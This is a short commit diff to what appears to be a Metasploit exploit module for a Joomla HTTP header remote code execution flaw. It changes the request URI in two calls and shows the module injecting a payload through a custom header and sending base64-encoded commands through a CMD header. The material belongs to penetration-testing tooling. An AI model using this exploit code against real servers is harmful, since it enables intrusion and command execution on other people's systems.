use target_uri.path

2015-12-16 06:55:23 +01:00 · 2015-12-16 06:55:23 +01:00 · c2795d58cb
parent 2e54cd2ca7
commit c2795d58cb
1 changed files with 2 additions and 2 deletions
--- a/modules/exploits/multi/http/joomla_http_header_rce.rb
+++ b/modules/exploits/multi/http/joomla_http_header_rce.rb
@ -120,13 +120,13 @@ class Metasploit3 < Msf::Exploit::Remote
    print_status("Sending payload ...")
    res = send_request_cgi({
      'method'    => 'GET',
-      'uri'       => target_uri.to_s,
+      'uri'       => target_uri.path,
      'headers' => { datastore['HEADER'] => get_payload }
    })
    session_cookie = res.get_cookies
    res = send_request_cgi({
      'method'    => 'GET',
-      'uri'       => target_uri.to_s,
+      'uri'       => target_uri.path,
      'cookie'   => session_cookie,
      'headers' => {
        'CMD' => Rex::Text.encode_base64(payload.encoded)